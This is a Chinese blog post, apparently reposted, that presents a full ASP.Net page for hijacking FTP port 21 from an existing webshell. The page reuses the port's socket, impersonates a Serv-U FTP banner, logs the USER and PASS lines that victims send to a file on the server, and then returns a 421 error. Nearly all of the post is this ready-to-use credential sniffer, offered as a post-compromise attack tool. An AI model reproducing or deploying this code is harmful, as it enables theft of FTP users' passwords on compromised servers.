ASP.Net劫持FTP端口的代码

如果你有一个ASP.Net的webshell,那么恭喜你,至少权限比ASP的webshell大些。因为ASP.Net支持Socket,所以可以利用端口复用实现端口劫持。

    下面就是劫持21端口的ASP.Net代码,因为FTP协议传文件会新开端口,就没有用中间人方式而是拿到密码之后直接返回421错误。

    当然,Windows2003及之后的系统都不再支持端口复用了。

以下是引用片段:
<%@ Page Language="VB" Debug="true" %> 
<%@ import Namespace="System.Threading" %> 
<%@ import Namespace="System.Text" %> 
<%@ import Namespace="System.Net" %> 
<%@ import Namespace="System.Net.Sockets" %> 
<%@ import Namespace="System.IO" %> 
<script runat="server"> 
sub form_load(Src As Object, E As EventArgs) 
        myip.Text=request.ServerVariables("LOCAL_ADDR") 
end sub 
    Sub BTN_Start_Click(sender As Object, e As EventArgs) 
        Dim error_x as Exception 
         Dim ipAddress As IPAddress = ipAddress.Parse(myIP.Text) 
         Dim localEndPoint As New IPEndPoint(ipAddress, myport.Text) 
         Dim listener As New Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp) 
         listener.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.ReuseAddress, 1) 
          try 
         listener.Bind(localEndPoint) 
         listener.Listen(100) 
            While Not file.exists(server.mappath("snifferexit.dat")) 
                If CheckBox1.Checked Then 
                     Dim mywrite As New StreamWriter(server.mappath("snifferexit.dat"), True, Encoding.Default) 
                     mywrite.Close() 
                End If 
                Dim mySocket As Socket = listener.Accept() 
                ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf ThreadProc), mySocket) 
            End While 
             listener.Close() 
        Catch error_x 
            listener.Close() 
             response.write(error_x) 
        End Try 
    End Sub 

         Private Shared Sub ThreadProc(ByVal mySocket As Object) 
             Dim msg As Byte() 
             Dim bytes(1024) As Byte 
             Dim i As Integer 
             Dim num As Integer 
             Dim xdata As String 
             Try 
                mySocket.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.ReceiveTimeout, 5000) 
                 msg = Encoding.ASCII.GetBytes("220 Serv-U FTP Server v6.0 for WinSock ready..." & vbCrLf) 
                 mySocket.Send(msg, msg.Length, 0) 

                 mySocket.Receive(bytes, 0, 1024, 0) 
                 xdata = (Encoding.ASCII.GetString(bytes)) 
                 If InStr(1, xdata, "user ", 1) > 0 Then 
                     Dim mywrite As New StreamWriter("e:\\myweb\\myown\\a.txt", True, Encoding.Default) 
                     mywrite.WriteLine(Mid(xdata, 1, InStr(xdata, vbCrLf))) 
                     mywrite.Close() 

                     msg = Encoding.ASCII.GetBytes("331 User name okay, need password." & vbCrLf) 
                     mySocket.Send(msg, msg.Length, 0) 
                 Else 
                     msg = Encoding.ASCII.GetBytes("530 Not logged In.." & vbCrLf) 
                     mySocket.Send(msg, msg.Length, 0) 
                 End If 
                 mySocket.Receive(bytes, 0, 1024, 0) 
                 xdata = (Encoding.ASCII.GetString(bytes)) 
                 If InStr(1, xdata, "pass ", 1) > 0 Then 
                     Dim mywrite As New StreamWriter("e:\\myweb\\myown\\a.txt", True, Encoding.Default) 
                     mywrite.WriteLine(Mid(xdata, 1, InStr(xdata, vbCrLf))) 
                     mywrite.Close() 
                     msg = Encoding.ASCII.GetBytes("421 Too many users - please try again later." & vbCrLf) 
                     mySocket.Send(msg, msg.Length, 0) 
                 Else 
                     msg = Encoding.ASCII.GetBytes("530 Not logged in.." & vbCrLf) 
                     mySocket.Send(msg, msg.Length, 0) 
                 End If 

             Catch eee As Exception 
                 msg = Encoding.ASCII.GetBytes("421 Maximum session time exceeded - closing." & vbCrLf) 
                 mySocket.Send(msg, msg.Length, 0) 
                 mySocket.Shutdown(SocketShutdown.Both) 
                 mySocket.Close() 
                 Exit Sub 
             End Try 
             mySocket.Shutdown(SocketShutdown.Both) 
             mySocket.Close() 
         End Sub 

</script> 
<html> 
<head> 
</head> 
<body> 
    <form runat="server"> 
        <p> 
            <asp:Label id="Label1" runat="server">Simple FTP Sniffer by lake2</asp:Label> 
        </p> 
        <p> 
            <asp:Label id="Label2" runat="server" width="60px">IP:</asp:Label> 
            <asp:TextBox id="MyIP" runat="server">220.166.79.218</asp:TextBox> 
             <asp:Label id="Label3" runat="server">Port</asp:Label> <asp:TextBox id="MyPort" runat="server" Width="40px">21</asp:TextBox> 
                
            <br /> 
            <asp:CheckBox id="CheckBox1" runat="server" Text="Only sniff one time"></asp:CheckBox> 
        </p> 
        <p> 
            <asp:Label id="Label4" runat="server">Note: If exit , create the file "snifferexit.dat" 
            in current</asp:Label> 
        </p> 
        <p> 
            <asp:Button id="BTN_Start" onclick="BTN_Start_Click" runat="server" Width="77px" Text="Start"></asp:Button> 
        </p> 
        <!-- Insert content here --> 
    </form> 
</body> 
</html>
原文地址:https://www.cnblogs.com/zhiji6/p/1649232.html